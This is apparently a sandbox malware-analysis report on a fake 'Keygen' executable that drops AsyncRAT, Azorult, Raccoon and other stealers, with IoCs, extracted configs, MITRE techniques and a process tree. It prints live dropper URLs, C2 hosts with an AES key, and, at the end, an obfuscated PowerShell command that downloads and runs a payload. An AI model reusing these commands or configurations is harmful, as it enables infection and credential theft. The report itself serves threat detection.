asyncrat | a2d3d6430f6775951cf988d960cfae4093d7a1e4d0f684ddfffaf4599ace9a71

Resubmissions

18-11-2020 14:18

201118-dj27sn3f52 10

18-11-2020 13:42

201118-1arz86e7w6 10

18-11-2020 13:38

201118-n8jh228ctn 10

Analysis

max time kernel
1803s
max time network
1815s
platform
windows10_x64
resource
win10v20201028
submitted
18-11-2020 14:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Keygen.bin.exe

Score

10^/10

asyncrat azorult modiloader oski raccoon c6f4c67877b4427c759f396ca4c1dff4761d3cc9 discovery evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Family

raccoon

Botnet

c6f4c67877b4427c759f396ca4c1dff4761d3cc9

Attributes

url4cnc
https://telete.in/brikitiki

rc4.plain

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr
anti_detection
false
autorun
false
bdos
false
delay
Default
host
agentttt.ac.ug,agentpurple.ac.ug
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
6970
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 10 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral9/memory/4836-228-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral9/memory/4836-230-0x000000000040616E-mapping.dmp	disable_win_def
behavioral9/memory/5036-233-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral9/memory/5036-234-0x0000000000403BEE-mapping.dmp	disable_win_def
C:\Windows\temp\s4drbjpj.exe	disable_win_def
C:\Windows\Temp\s4drbjpj.exe	disable_win_def
behavioral9/memory/3880-735-0x000000000040616E-mapping.dmp	disable_win_def
behavioral9/memory/2640-747-0x0000000000403BEE-mapping.dmp	disable_win_def
C:\Windows\temp\tmnj3xnh.exe	disable_win_def
C:\Windows\Temp\tmnj3xnh.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral9/memory/4604-218-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral9/memory/4604-219-0x000000000040C76E-mapping.dmp	asyncrat
behavioral9/memory/3928-719-0x000000000040C76E-mapping.dmp	asyncrat

ModiLoader First Stage 2 IoCs

Processes:

resource	yara_rule
behavioral9/memory/2140-287-0x00000000005A0000-0x00000000005B0000-memory.dmp	modiloader_stage1
behavioral9/memory/4404-695-0x0000000000690000-0x00000000006A0000-memory.dmp	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

21 3716 powershell.exe
22 4088 powershell.exe
25 3716 powershell.exe
26 4088 powershell.exe
27 4480 powershell.exe
29 4480 powershell.exe
Downloads MZ/PE file

flow	pid	process
21	3716	powershell.exe
22	4088	powershell.exe
25	3716	powershell.exe
26	4088	powershell.exe
27	4480	powershell.exe
29	4480	powershell.exe

Executes dropped EXE 34 IoCs

Processes:

Keygen.exepnc.exeldz.exezVhjgfutyFD.exeHuytgfGDFwer.exepnc.exeadv.exezVhjgfutyFD.exeHuytgfGDFwer.exexoEEhQ7GLT.exeYms5gMrn3A.exe0X6NfiXLW1.exeYk4BLKNa1Z.exexoEEhQ7GLT.exexoEEhQ7GLT.exexoEEhQ7GLT.exe0X6NfiXLW1.exeYk4BLKNa1Z.exes4drbjpj.exeaxcjgfhwvvas.exeldz.exeldz.exeoscjgfhwvvas.exeaxcjgfhwvvas.exeHXkNYAi4c4.exev15Xka8Ssx.exejkgBQhmV6k.exeAswoNvyLvJ.exeHXkNYAi4c4.exejkgBQhmV6k.exeoscjgfhwvvas.exejkgBQhmV6k.exeAswoNvyLvJ.exetmnj3xnh.exe

pid	process
2840	Keygen.exe
5088	pnc.exe
5100	ldz.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe
4616	pnc.exe
2076	adv.exe
4636	zVhjgfutyFD.exe
4688	HuytgfGDFwer.exe
4188	xoEEhQ7GLT.exe
2140	Yms5gMrn3A.exe
4724	0X6NfiXLW1.exe
4684	Yk4BLKNa1Z.exe
4372	xoEEhQ7GLT.exe
4800	xoEEhQ7GLT.exe
4604	xoEEhQ7GLT.exe
4836	0X6NfiXLW1.exe
5036	Yk4BLKNa1Z.exe
696	s4drbjpj.exe
5740	axcjgfhwvvas.exe
5752	ldz.exe
5780	ldz.exe
5968	oscjgfhwvvas.exe
4600	axcjgfhwvvas.exe
1292	HXkNYAi4c4.exe
4404	v15Xka8Ssx.exe
6000	jkgBQhmV6k.exe
4784	AswoNvyLvJ.exe
3928	HXkNYAi4c4.exe
5172	jkgBQhmV6k.exe
5152	oscjgfhwvvas.exe
3880	jkgBQhmV6k.exe
2640	AswoNvyLvJ.exe
4432	tmnj3xnh.exe

Loads dropped DLL 18 IoCs

Processes:

HuytgfGDFwer.exepnc.exeldz.exeoscjgfhwvvas.exe

pid	process
4688	HuytgfGDFwer.exe
4688	HuytgfGDFwer.exe
4688	HuytgfGDFwer.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5152	oscjgfhwvvas.exe
5152	oscjgfhwvvas.exe
5152	oscjgfhwvvas.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

Yk4BLKNa1Z.exeAswoNvyLvJ.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	Yk4BLKNa1Z.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	Yk4BLKNa1Z.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	AswoNvyLvJ.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Yms5gMrn3A.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Klfn = "C:\\Users\\Admin\\AppData\\Local\\nflK.url"	Yms5gMrn3A.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

Processes:

pnc.exeldz.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	pnc.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	ldz.exe

Suspicious use of SetThreadContext 12 IoCs

Processes:

pnc.exezVhjgfutyFD.exeHuytgfGDFwer.exexoEEhQ7GLT.exe0X6NfiXLW1.exeYk4BLKNa1Z.exeldz.exeaxcjgfhwvvas.exeHXkNYAi4c4.exeoscjgfhwvvas.exejkgBQhmV6k.exeAswoNvyLvJ.exe

description	pid	process	target process
PID 5088 set thread context of 4616	5088	pnc.exe	pnc.exe
PID 3288 set thread context of 4636	3288	zVhjgfutyFD.exe	zVhjgfutyFD.exe
PID 4468 set thread context of 4688	4468	HuytgfGDFwer.exe	HuytgfGDFwer.exe
PID 4188 set thread context of 4604	4188	xoEEhQ7GLT.exe	xoEEhQ7GLT.exe
PID 4724 set thread context of 4836	4724	0X6NfiXLW1.exe	0X6NfiXLW1.exe
PID 4684 set thread context of 5036	4684	Yk4BLKNa1Z.exe	Yk4BLKNa1Z.exe
PID 5100 set thread context of 5780	5100	ldz.exe	ldz.exe
PID 5740 set thread context of 4600	5740	axcjgfhwvvas.exe	axcjgfhwvvas.exe
PID 1292 set thread context of 3928	1292	HXkNYAi4c4.exe	HXkNYAi4c4.exe
PID 5968 set thread context of 5152	5968	oscjgfhwvvas.exe	oscjgfhwvvas.exe
PID 6000 set thread context of 3880	6000	jkgBQhmV6k.exe	jkgBQhmV6k.exe
PID 4784 set thread context of 2640	4784	AswoNvyLvJ.exe	AswoNvyLvJ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

HuytgfGDFwer.exeoscjgfhwvvas.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HuytgfGDFwer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oscjgfhwvvas.exe

Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

2976 timeout.exe
3768 timeout.exe
4812 timeout.exe
2732 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4740 taskkill.exe
2788 taskkill.exe
5176 taskkill.exe
6032 taskkill.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings cmd.exe
Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

1868 reg.exe
4760 reg.exe
1320 reg.exe

pid	process
2976	timeout.exe
3768	timeout.exe
4812	timeout.exe
2732	timeout.exe

pid	process
4740	taskkill.exe
2788	taskkill.exe
5176	taskkill.exe
6032	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings	cmd.exe

pid	process
1868	reg.exe
4760	reg.exe
1320	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Yms5gMrn3A.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Yms5gMrn3A.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Yms5gMrn3A.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexoEEhQ7GLT.exe0X6NfiXLW1.exe

pid	process
2192	powershell.exe
3716	powershell.exe
4088	powershell.exe
1268	powershell.exe
1268	powershell.exe
3716	powershell.exe
4088	powershell.exe
2192	powershell.exe
1268	powershell.exe
3716	powershell.exe
3716	powershell.exe
4088	powershell.exe
4088	powershell.exe
2192	powershell.exe
2192	powershell.exe
1268	powershell.exe
4480	powershell.exe
4480	powershell.exe
4704	powershell.exe
4704	powershell.exe
4480	powershell.exe
4704	powershell.exe
4480	powershell.exe
4704	powershell.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

pnc.exezVhjgfutyFD.exeHuytgfGDFwer.exe

pid process

5088 pnc.exe
3288 zVhjgfutyFD.exe
4468 HuytgfGDFwer.exe

pid	process
5088	pnc.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetaskkill.exexoEEhQ7GLT.exe0X6NfiXLW1.exeYk4BLKNa1Z.exe0X6NfiXLW1.exepowershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	4188	xoEEhQ7GLT.exe
Token: SeDebugPrivilege	4724	0X6NfiXLW1.exe
Token: SeDebugPrivilege	4684	Yk4BLKNa1Z.exe
Token: SeDebugPrivilege	4836	0X6NfiXLW1.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	2788	taskkill.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeIncreaseQuotaPrivilege	852	powershell.exe
Token: SeSecurityPrivilege	852	powershell.exe
Token: SeTakeOwnershipPrivilege	852	powershell.exe
Token: SeLoadDriverPrivilege	852	powershell.exe
Token: SeSystemProfilePrivilege	852	powershell.exe
Token: SeSystemtimePrivilege	852	powershell.exe
Token: SeProfSingleProcessPrivilege	852	powershell.exe
Token: SeIncBasePriorityPrivilege	852	powershell.exe
Token: SeCreatePagefilePrivilege	852	powershell.exe
Token: SeBackupPrivilege	852	powershell.exe
Token: SeRestorePrivilege	852	powershell.exe
Token: SeShutdownPrivilege	852	powershell.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeSystemEnvironmentPrivilege	852	powershell.exe
Token: SeRemoteShutdownPrivilege	852	powershell.exe
Token: SeUndockPrivilege	852	powershell.exe
Token: SeManageVolumePrivilege	852	powershell.exe
Token: 33	852	powershell.exe
Token: 34	852	powershell.exe
Token: 35	852	powershell.exe
Token: 36	852	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	powershell.exe
Token: SeSecurityPrivilege	2156	powershell.exe
Token: SeTakeOwnershipPrivilege	2156	powershell.exe
Token: SeLoadDriverPrivilege	2156	powershell.exe
Token: SeSystemProfilePrivilege	2156	powershell.exe
Token: SeSystemtimePrivilege	2156	powershell.exe
Token: SeProfSingleProcessPrivilege	2156	powershell.exe
Token: SeIncBasePriorityPrivilege	2156	powershell.exe
Token: SeCreatePagefilePrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2156	powershell.exe
Token: SeRestorePrivilege	2156	powershell.exe
Token: SeShutdownPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeSystemEnvironmentPrivilege	2156	powershell.exe
Token: SeRemoteShutdownPrivilege	2156	powershell.exe
Token: SeUndockPrivilege	2156	powershell.exe
Token: SeManageVolumePrivilege	2156	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exepnc.exezVhjgfutyFD.exeHuytgfGDFwer.exeadv.exe0X6NfiXLW1.exejkgBQhmV6k.exe

pid	process
2840	Keygen.exe
5088	pnc.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe
2076	adv.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
3880	jkgBQhmV6k.exe
3880	jkgBQhmV6k.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen.bin.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepnc.exe

description	pid	process	target process
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	cmd.exe
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	cmd.exe
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	cmd.exe
PID 2428 wrote to memory of 2840	2428	cmd.exe	Keygen.exe
PID 2428 wrote to memory of 2840	2428	cmd.exe	Keygen.exe
PID 2428 wrote to memory of 2840	2428	cmd.exe	Keygen.exe
PID 2428 wrote to memory of 3720	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3720	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3720	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 2116	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 2116	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 2116	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 2976	2428	cmd.exe	timeout.exe
PID 2428 wrote to memory of 2976	2428	cmd.exe	timeout.exe
PID 2428 wrote to memory of 2976	2428	cmd.exe	timeout.exe
PID 3720 wrote to memory of 3716	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3716	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3716	3720	mshta.exe	powershell.exe
PID 2116 wrote to memory of 2192	2116	mshta.exe	powershell.exe
PID 2116 wrote to memory of 2192	2116	mshta.exe	powershell.exe
PID 2116 wrote to memory of 2192	2116	mshta.exe	powershell.exe
PID 2428 wrote to memory of 416	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 416	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 416	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3780	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3780	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3780	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 3768	2428	cmd.exe	timeout.exe
PID 2428 wrote to memory of 3768	2428	cmd.exe	timeout.exe
PID 2428 wrote to memory of 3768	2428	cmd.exe	timeout.exe
PID 416 wrote to memory of 4088	416	mshta.exe	powershell.exe
PID 416 wrote to memory of 4088	416	mshta.exe	powershell.exe
PID 416 wrote to memory of 4088	416	mshta.exe	powershell.exe
PID 3780 wrote to memory of 1268	3780	mshta.exe	powershell.exe
PID 3780 wrote to memory of 1268	3780	mshta.exe	powershell.exe
PID 3780 wrote to memory of 1268	3780	mshta.exe	powershell.exe
PID 2428 wrote to memory of 4392	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 4392	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 4392	2428	cmd.exe	mshta.exe
PID 4392 wrote to memory of 4480	4392	mshta.exe	powershell.exe
PID 4392 wrote to memory of 4480	4392	mshta.exe	powershell.exe
PID 4392 wrote to memory of 4480	4392	mshta.exe	powershell.exe
PID 2428 wrote to memory of 4596	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 4596	2428	cmd.exe	mshta.exe
PID 2428 wrote to memory of 4596	2428	cmd.exe	mshta.exe
PID 4596 wrote to memory of 4704	4596	mshta.exe	powershell.exe
PID 4596 wrote to memory of 4704	4596	mshta.exe	powershell.exe
PID 4596 wrote to memory of 4704	4596	mshta.exe	powershell.exe
PID 3716 wrote to memory of 5088	3716	powershell.exe	pnc.exe
PID 3716 wrote to memory of 5088	3716	powershell.exe	pnc.exe
PID 3716 wrote to memory of 5088	3716	powershell.exe	pnc.exe
PID 4088 wrote to memory of 5100	4088	powershell.exe	ldz.exe
PID 4088 wrote to memory of 5100	4088	powershell.exe	ldz.exe
PID 4088 wrote to memory of 5100	4088	powershell.exe	ldz.exe
PID 5088 wrote to memory of 3288	5088	pnc.exe	zVhjgfutyFD.exe
PID 5088 wrote to memory of 3288	5088	pnc.exe	zVhjgfutyFD.exe
PID 5088 wrote to memory of 3288	5088	pnc.exe	zVhjgfutyFD.exe
PID 5088 wrote to memory of 4468	5088	pnc.exe	HuytgfGDFwer.exe
PID 5088 wrote to memory of 4468	5088	pnc.exe	HuytgfGDFwer.exe
PID 5088 wrote to memory of 4468	5088	pnc.exe	HuytgfGDFwer.exe
PID 5088 wrote to memory of 4616	5088	pnc.exe	pnc.exe
PID 5088 wrote to memory of 4616	5088	pnc.exe	pnc.exe
PID 5088 wrote to memory of 4616	5088	pnc.exe	pnc.exe
PID 5088 wrote to memory of 4616	5088	pnc.exe	pnc.exe

C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\797B.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2428

C:\Users\Admin\AppData\Local\Temp\797B.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2840

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3716

